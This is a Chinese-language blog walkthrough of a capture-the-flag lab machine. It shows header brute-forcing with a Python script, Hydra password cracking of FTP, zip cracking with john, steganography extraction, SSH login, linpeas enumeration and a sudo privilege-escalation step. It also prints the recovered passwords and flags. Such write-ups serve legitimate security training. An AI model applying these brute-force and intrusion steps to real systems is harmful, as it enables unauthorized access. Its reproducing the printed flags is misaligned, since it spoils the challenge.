iT邦幫忙

2021 iThome 鐵人賽

DAY 18
0

Recon

  • 老梗 nmap -A 10.10.119.64
    • 發現有開
      • FTP
      • SSH
      • HTTP
  • 嘗試進入 HTTP
    • 看到他說需要在 useragent 放 Codename (機密代號)
    • 又說 Dear agent, 下面有說 Agent R
    • 所以基本上可以先猜測 Agent AZ

爆猜機密代號

  • 瀏覽器沒有太方便,所以我們先把瀏覽器 request 轉 curl
    • 對著 F12 的 Reuest 右鍵,Copy as cURL
    • curl 'http://10.10.119.64/' -H 'User-Agent: meow' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0, no-cache' -H 'Pragma: no-cache'
  • curl 轉 Python request
  • 接下來寫一段扣爆破
import requests


for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZ":
	headers = {
		'User-Agent': i ,
		'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
		'Accept-Language': 'en-US,en;q=0.5',
		'Connection': 'keep-alive',
		'Upgrade-Insecure-Requests': '1',
		'Cache-Control': 'max-age=0, no-cache',
		'Pragma': 'no-cache',
	}

	response = requests.get('http://10.10.119.64/', headers=headers).text
	print(i,len(response))
  • 因為如果猜錯他會回傳的字都是一樣的,那就猜測輸入正確時,他回傳的東西會不一樣,所以最簡單的方法可以用字串長度來比對,輸入錯誤時長度是 218
  • 運氣很好,C 就猜到ㄌ
  • User-Agent:C 發 request
      • 在 Firefox 上使用右鍵, Edit and Resend
      • 修改 User-Agent 為 C 並送出
    • 可以發現他自動跳轉到這個網頁

FTP

  • 嘗試爆破 FTP
    • 因為 nmap 有掃到 ssh 跟 ftp,接下來嘗試 FTP
    • 透過 Hydra + Rockyou 字典來爆
      • hydra -l chris -P /opt/rockyou.txt ftp://10.10.119.64
    • 可以了解到帳號為 chris
    • 密碼為 crystal
  • 嘗試登入 FTP
    • ftp 10.10.119.64
    • 輸入 ls 觀察 ftp 裡面的檔案
    • 輸入 get 檔名 把檔案依序載下來
  • 觀察 txt 檔案
    • cat To_agentJ.txt
    • 他說兩張照片都是假ㄉ,裡面有藏東東

Stego

  • 起手式 strings
    • strings cutie.png
    • 可以發現裡面藏了一點點的字,但是用奇怪的編碼或加密QQ
  • 透過 binwalk 觀察是否裡面有藏檔案
    • 發現 png 後面塞了一個 zip
  • 透過 foremost 解出裡面的檔案
    • foremost cutie.png
    • 會發現資料夾裡面有一包 zip
  • 解壓縮 zip
    • 用最直覺的 unzip
      • 會發現噴錯
      • 跟據這篇的講法,可以用 7z 來解
    • 7z x 00000067.zip
      • 用 7z 解,會發現 zip 需要密碼
  • 爆破 zip 密碼
    • 先把 zip 轉成 約翰格式
    • zip2john 00000067.zip > j.txt
    • john j.txt --wordlist=/opt/rockyou.txt
    • 就可以取得密碼為 alien
  • 解壓縮 zip
    • 7z x 00000067.zip
    • 並使用密碼 alien 即可解壓完畢
    • 解壓內容可以看到一組奇怪的密碼 QXJlYTUx
    • 透過 base64 解碼
      • base64 -d <<< QXJlYTUx
      • 即可獲得 Area51
  • 接下來看到另外一個檔案
    • cute-alien.jpg
    • 這邊使用 steghide 進行解密
    • steghide extract -sf cute-alien.jpg
      • 並搭配 Area51
      • 發現成功的解出了 message.txt
  • 我們可以發現文章內
    • 使用者 : james
    • 密碼 : hackerrules!

SSH

  • 透過 SSH 進行登入
    • ssh james@10.10.119.64
  • 尋找到 user_flag.txt
    • b03d975e8c92a7c04146cfa7a5a313c7

提權

  • 輸入 sudo -l
    • 所以我們不能以 root 身分執行/bin/bash
  • What is the incident of the photo called?
    • 裡面還找到了一張照片
    • 透過 Google 以圖搜圖可以找到這篇新聞
    • Roswell alien autopsy
  • 繼續提權
    • 透過 scp 上傳 Linpeas
      • 本機
        • scp linpeas.sh james@10.10.119.64:/tmp
      • 遠端
        • bash linpeas.sh | tee meow.txt
  • 可以觀察到 Linpeas 把 sudo 版本變紅色
  • 把 python exploit code 給 run 起來
    • 詢問使用者名稱,就輸入 james
    • 成功提權!
  • 取得 root flag
    • b53a02f55b57d4439e3341834d70c062
  • (Bonus) Who is Agent R?
    • 信最後 有寫 DesKel aka Agent R
    • 阿不是阿,你名字裡哪裡有 R ㄌ ?__?

上一篇
[Day17] THM VulnNet1
下一篇
[Day19] THM Archangel
系列文
我想學滲透測試喵喵喵喵!!!!30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言